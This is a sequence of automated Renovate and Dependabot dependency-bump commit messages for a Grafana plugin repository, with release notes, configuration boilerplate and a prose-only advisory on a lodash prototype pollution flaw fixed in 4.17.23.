![age](https://developer.mend.io/api/mc/badges/age/npm/lodash/4.17.23?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lodash/4.17.21/4.17.23?slim=true)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-13465](https://redirect.github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg)

### Impact

Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype
pollution in the `_.unset` and `_.omit` functions. An attacker can pass
crafted paths which cause Lodash to delete methods from global
prototypes.

The issue permits deletion of properties but does not allow overwriting
their original behavior.

### Patches

This issue is patched on 4.17.23.

---

### Lodash has Prototype Pollution Vulnerability in `_.unset` and
`_.omit` functions
[CVE-2025-13465](https://nvd.nist.gov/vuln/detail/CVE-2025-13465) /
[GHSA-xxjr-mmjv-4gpg](https://redirect.github.com/advisories/GHSA-xxjr-mmjv-4gpg)

<details>
<summary>More information</summary>

#### Details
##### Impact

Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype
pollution in the `_.unset` and `_.omit` functions. An attacker can pass
crafted paths which cause Lodash to delete methods from global
prototypes.

The issue permits deletion of properties but does not allow overwriting
their original behavior.

##### Patches

This issue is patched on 4.17.23.

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H/E:P`

#### References
-
[https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg](https://redirect.github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-13465](https://nvd.nist.gov/vuln/detail/CVE-2025-13465)
-
[edadd45214)
-
[https://github.com/lodash/lodash](https://redirect.github.com/lodash/lodash)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-xxjr-mmjv-4gpg) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>lodash/lodash (lodash)</summary>

###
[`v4.17.23`](https://redirect.github.com/lodash/lodash/compare/4.17.21...4.17.23)

[Compare
Source](https://redirect.github.com/lodash/lodash/compare/4.17.21...4.17.23)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYXV0b21lcmdlLXNlY3VyaXR5LXVwZGF0ZSIsInNldmVyaXR5Ok1FRElVTSJdfQ==-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-22 10:51:48 +00:00
dependabot[bot]
ff4ddc6ead Chore(deps): Bump tar from 7.5.2 to 7.5.6 (#2232)
Bumps [tar](https://github.com/isaacs/node-tar) from 7.5.2 to 7.5.6.
<details>
<summary>Commits</summary>
<ul>
<li><a
href="394ece6ad8"><code>394ece6</code></a>
7.5.6</li>
<li><a
href="7d4cc17c76"><code>7d4cc17</code></a>
fix race puting a Link ahead of its target File</li>
<li><a
href="26ab90474e"><code>26ab904</code></a>
7.5.5</li>
<li><a
href="e9a1ddb821"><code>e9a1ddb</code></a>
fix: do not prevent valid linkpaths within archive</li>
<li><a
href="911c886bb1"><code>911c886</code></a>
7.5.4</li>
<li><a
href="3b1abfae65"><code>3b1abfa</code></a>
normalize out unicode ligatures</li>
<li><a
href="a43478c5c5"><code>a43478c</code></a>
remove some unused files</li>
<li><a
href="970c58f6d3"><code>970c58f</code></a>
update deps</li>
<li><a
href="bb21974894"><code>bb21974</code></a>
update changelog</li>
<li><a
href="03138441b2"><code>0313844</code></a>
7.5.3</li>
<li>Additional commits viewable in <a
href="https://github.com/isaacs/node-tar/compare/v7.5.2...v7.5.6">compare
view</a></li>
</ul>
</details>
<details>
<summary>Maintainer changes</summary>
<p>This version was pushed to npm by <a
href="https://www.npmjs.com/~isaacs">isaacs</a>, a new releaser for tar
since your current version.</p>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=tar&package-manager=npm_and_yarn&previous-version=7.5.2&new-version=7.5.6)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/grafana/grafana-zabbix/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-01-21 12:25:32 +00:00
renovate-sh-app[bot]
e88b15b32c chore(deps): update typescript-eslint monorepo to v8.53.0 (#2224)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@typescript-eslint/eslint-plugin](https://typescript-eslint.io/packages/eslint-plugin)
([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin))
| [`8.52.0` →
`8.53.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2feslint-plugin/8.52.0/8.53.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2feslint-plugin/8.53.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2feslint-plugin/8.52.0/8.53.0?slim=true)
|
|
[@typescript-eslint/parser](https://typescript-eslint.io/packages/parser)
([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser))
| [`8.52.0` →
`8.53.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fparser/8.52.0/8.53.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2fparser/8.53.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2fparser/8.52.0/8.53.0?slim=true)
|

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/eslint-plugin)</summary>

###
[`v8.53.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#8530-2026-01-12)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.52.0...v8.53.0)

##### 🚀 Features

- **eslint-plugin:** add rule \[strict-void-return]
([#&#8203;9707](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/9707))
- **eslint-plugin:** \[no-unused-vars] add a fixer to remove unused
imports
([#&#8203;11922](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11922))

##### 🩹 Fixes

- **eslint-plugin:** \[no-useless-default-assignment] fix false positive
for parameters corresponding to a rest parameter
([#&#8203;11916](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11916))
- **eslint-plugin:** replace unclear "`error` typed" with more helpful
description
([#&#8203;11704](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11704))
- **typescript-estree:** forbid invalid `extends` and `implements` in
interface declaration
([#&#8203;11935](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11935))
- **typescript-estree:** forbid invalid class implements
([#&#8203;11934](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11934))
- **typescript-estree:** forbid type-only import with both default and
named specifiers
([#&#8203;11930](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11930))

##### ❤️ Thank You

- Brad Zacher
[@&#8203;bradzacher](https://redirect.github.com/bradzacher)
- fisker Cheung [@&#8203;fisker](https://redirect.github.com/fisker)
- Josh Goldberg
- Josh Goldberg 
- Kirk Waiblinger
- Niki [@&#8203;phaux](https://redirect.github.com/phaux)
- Nikita
- SungHyun627
[@&#8203;SungHyun627](https://redirect.github.com/SungHyun627)
- Will Harney [@&#8203;wjhsf](https://redirect.github.com/wjhsf)

You can read about our [versioning
strategy](https://typescript-eslint.io/users/versioning) and
[releases](https://typescript-eslint.io/users/releases) on our website.

</details>

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/parser)</summary>

###
[`v8.53.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#8530-2026-01-12)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.52.0...v8.53.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://typescript-eslint.io/users/versioning) and
[releases](https://typescript-eslint.io/users/releases) on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLW1pbm9yIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-21 12:24:56 +00:00
renovate-sh-app[bot]
ef773399c6 chore(deps): update dependency eslint-plugin-jsdoc to v62.1.0 (#2231)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`62.0.1` →
`62.1.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/62.0.1/62.1.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/62.1.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/62.0.1/62.1.0?slim=true)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v62.1.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v62.1.0)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v62.0.1...v62.1.0)

##### Features

- update comment-parser; fixes
[#&#8203;1116](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1116)
; fixes
[#&#8203;1348](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1348)
([0170773](0170773d9a))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLW1pbm9yIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-21 10:03:32 +00:00
renovate-sh-app[bot]
c96155c4a1 chore(deps): update dependency eslint-plugin-jsdoc to v62.0.1 (#2230)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`62.0.0` →
`62.0.1`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/62.0.0/62.0.1)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/62.0.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/62.0.0/62.0.1?slim=true)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v62.0.1`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v62.0.1)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v62.0.0...v62.0.1)

##### Bug Fixes

- **`require-template`:** treat infer statement types as defined; fixes
[#&#8203;1628](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1628)
([e63dc23](e63dc23feb))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-20 13:56:14 +00:00
renovate-sh-app[bot]
64c73445d2 chore(deps): update dependency @babel/core to v7.28.6 (#2216)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@babel/core](https://babel.dev/docs/en/next/babel-core)
([source](https://redirect.github.com/babel/babel/tree/HEAD/packages/babel-core))
| [`7.28.5` →
`7.28.6`](https://renovatebot.com/diffs/npm/@babel%2fcore/7.28.5/7.28.6)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@babel%2fcore/7.28.6?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@babel%2fcore/7.28.5/7.28.6?slim=true)
|

---

### Release Notes

<details>
<summary>babel/babel (@&#8203;babel/core)</summary>

###
[`v7.28.6`](https://redirect.github.com/babel/babel/releases/tag/v7.28.6)

[Compare
Source](https://redirect.github.com/babel/babel/compare/v7.28.5...v7.28.6)

#### v7.28.6 (2026-01-12)

Thanks [@&#8203;kadhirash](https://redirect.github.com/kadhirash) and
[@&#8203;kolvian](https://redirect.github.com/kolvian) for your first
PRs!

##### 🐛 Bug Fix

- `babel-cli`, `babel-code-frame`, `babel-core`,
`babel-helper-check-duplicate-nodes`, `babel-helper-fixtures`,
`babel-helper-plugin-utils`, `babel-node`,
`babel-plugin-transform-flow-comments`,
`babel-plugin-transform-modules-commonjs`,
`babel-plugin-transform-property-mutators`, `babel-preset-env`,
`babel-traverse`, `babel-types`
- [#&#8203;17589](https://redirect.github.com/babel/babel/pull/17589)
Improve Unicode handling in code-frame tokenizer
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))
- `babel-plugin-transform-regenerator`
- [#&#8203;17556](https://redirect.github.com/babel/babel/pull/17556)
fix: `transform-regenerator` correctly handles scope
([@&#8203;liuxingbaoyu](https://redirect.github.com/liuxingbaoyu))
- `babel-plugin-transform-react-jsx`
- [#&#8203;17538](https://redirect.github.com/babel/babel/pull/17538)
fix: Keep jsx comments
([@&#8203;liuxingbaoyu](https://redirect.github.com/liuxingbaoyu))

##### :nail\_care: Polish

- `babel-core`, `babel-standalone`
- [#&#8203;17606](https://redirect.github.com/babel/babel/pull/17606)
Polish(standalone): improve message on invalid preset/plugin
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))

##### 🏠 Internal

- `babel-plugin-bugfix-v8-static-class-fields-redefine-readonly`,
`babel-plugin-proposal-decorators`,
`babel-plugin-proposal-import-attributes-to-assertions`,
`babel-plugin-proposal-import-wasm-source`,
`babel-plugin-syntax-async-do-expressions`,
`babel-plugin-syntax-decorators`,
`babel-plugin-syntax-destructuring-private`,
`babel-plugin-syntax-do-expressions`,
`babel-plugin-syntax-explicit-resource-management`,
`babel-plugin-syntax-export-default-from`, `babel-plugin-syntax-flow`,
`babel-plugin-syntax-function-bind`,
`babel-plugin-syntax-function-sent`,
`babel-plugin-syntax-import-assertions`,
`babel-plugin-syntax-import-attributes`,
`babel-plugin-syntax-import-defer`, `babel-plugin-syntax-import-source`,
`babel-plugin-syntax-jsx`, `babel-plugin-syntax-module-blocks`,
`babel-plugin-syntax-optional-chaining-assign`,
`babel-plugin-syntax-partial-application`,
`babel-plugin-syntax-pipeline-operator`,
`babel-plugin-syntax-throw-expressions`,
`babel-plugin-syntax-typescript`,
`babel-plugin-transform-async-generator-functions`,
`babel-plugin-transform-async-to-generator`,
`babel-plugin-transform-class-properties`,
`babel-plugin-transform-class-static-block`,
`babel-plugin-transform-dotall-regex`,
`babel-plugin-transform-duplicate-named-capturing-groups-regex`,
`babel-plugin-transform-explicit-resource-management`,
`babel-plugin-transform-exponentiation-operator`,
`babel-plugin-transform-json-strings`,
`babel-plugin-transform-logical-assignment-operators`,
`babel-plugin-transform-nullish-coalescing-operator`,
`babel-plugin-transform-numeric-separator`,
`babel-plugin-transform-object-rest-spread`,
`babel-plugin-transform-optional-catch-binding`,
`babel-plugin-transform-optional-chaining`,
`babel-plugin-transform-private-methods`,
`babel-plugin-transform-private-property-in-object`,
`babel-plugin-transform-regexp-modifiers`,
`babel-plugin-transform-unicode-property-regex`,
`babel-plugin-transform-unicode-sets-regex`
- [#&#8203;17580](https://redirect.github.com/babel/babel/pull/17580)
Allow Babel 8 in compatible Babel 7 plugins
([@&#8203;nicolo-ribaudo](https://redirect.github.com/nicolo-ribaudo))

##### :running\_woman: Performance

- `babel-plugin-transform-react-jsx`
- [#&#8203;17555](https://redirect.github.com/babel/babel/pull/17555)
perf: Use lighter traversal for jsx `__source,__self`
([@&#8203;liuxingbaoyu](https://redirect.github.com/liuxingbaoyu))

##### Committers: 7

- Babel Bot ([@&#8203;babel-bot](https://redirect.github.com/babel-bot))
- Eliot Pontarelli
([@&#8203;kolvian](https://redirect.github.com/kolvian))
- Huáng Jùnliàng
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))
- Kadhirash Sivakumar
([@&#8203;kadhirash](https://redirect.github.com/kadhirash))
- Nicolò Ribaudo
([@&#8203;nicolo-ribaudo](https://redirect.github.com/nicolo-ribaudo))
- [@&#8203;liuxingbaoyu](https://redirect.github.com/liuxingbaoyu)
- coderaiser
([@&#8203;coderaiser](https://redirect.github.com/coderaiser))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-20 07:23:53 +00:00
renovate-sh-app[bot]
f511ec060e chore(deps): update dependency @grafana/plugin-e2e to v3.1.2 (#2217)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@grafana/plugin-e2e](https://redirect.github.com/grafana/plugin-tools)
([source](https://redirect.github.com/grafana/plugin-tools/tree/HEAD/packages/plugin-e2e))
| [`3.1.1` →
`3.1.2`](https://renovatebot.com/diffs/npm/@grafana%2fplugin-e2e/3.1.1/3.1.2)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@grafana%2fplugin-e2e/3.1.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@grafana%2fplugin-e2e/3.1.1/3.1.2?slim=true)
|

---

### Release Notes

<details>
<summary>grafana/plugin-tools (@&#8203;grafana/plugin-e2e)</summary>

###
[`v3.1.2`](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@3.1.1...@grafana/plugin-e2e@3.1.2)

[Compare
Source](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@3.1.1...@grafana/plugin-e2e@3.1.2)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-20 07:23:24 +00:00
renovate-sh-app[bot]
092e1c6014 chore(deps): update dependency eslint-plugin-prettier to v5.5.5 (#2218)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[eslint-plugin-prettier](https://redirect.github.com/prettier/eslint-plugin-prettier)
| [`5.5.4` →
`5.5.5`](https://renovatebot.com/diffs/npm/eslint-plugin-prettier/5.5.4/5.5.5)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-prettier/5.5.5?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-prettier/5.5.4/5.5.5?slim=true)
|

---

### Release Notes

<details>
<summary>prettier/eslint-plugin-prettier
(eslint-plugin-prettier)</summary>

###
[`v5.5.5`](https://redirect.github.com/prettier/eslint-plugin-prettier/blob/HEAD/CHANGELOG.md#555)

[Compare
Source](https://redirect.github.com/prettier/eslint-plugin-prettier/compare/v5.5.4...v5.5.5)

##### Patch Changes

-
[#&#8203;772](https://redirect.github.com/prettier/eslint-plugin-prettier/pull/772)
[`7264ed0`](7264ed0a6c)
Thanks [@&#8203;BPScott](https://redirect.github.com/BPScott)! - Bump
prettier-linter-helpers dependency to v1.0.1

-
[#&#8203;776](https://redirect.github.com/prettier/eslint-plugin-prettier/pull/776)
[`77651a3`](77651a33cd)
Thanks [@&#8203;aswils](https://redirect.github.com/aswils)! - fix: bump
synckit for yarn PnP ESM issue

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-20 07:22:59 +00:00
renovate-sh-app[bot]
a05b93314d chore(deps): update dependency swc-loader to v0.2.7 (#2219)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [swc-loader](https://redirect.github.com/swc-project/pkgs) | [`0.2.6`
→ `0.2.7`](https://renovatebot.com/diffs/npm/swc-loader/0.2.6/0.2.7) |
![age](https://developer.mend.io/api/mc/badges/age/npm/swc-loader/0.2.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/swc-loader/0.2.6/0.2.7?slim=true)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-20 07:22:34 +00:00
renovate-sh-app[bot]
b56f9e7ebb chore(deps): update dependency cspell to v9.6.0 (#2221)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [cspell](https://cspell.org/)
([source](https://redirect.github.com/streetsidesoftware/cspell/tree/HEAD/packages/cspell))
| [`9.4.0` →
`9.6.0`](https://renovatebot.com/diffs/npm/cspell/9.4.0/9.6.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/cspell/9.6.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/cspell/9.4.0/9.6.0?slim=true)
|

---

### Release Notes

<details>
<summary>streetsidesoftware/cspell (cspell)</summary>

###
[`v9.6.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#v960-2026-01-12)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v9.4.0...v9.6.0)

##### Features

<details>
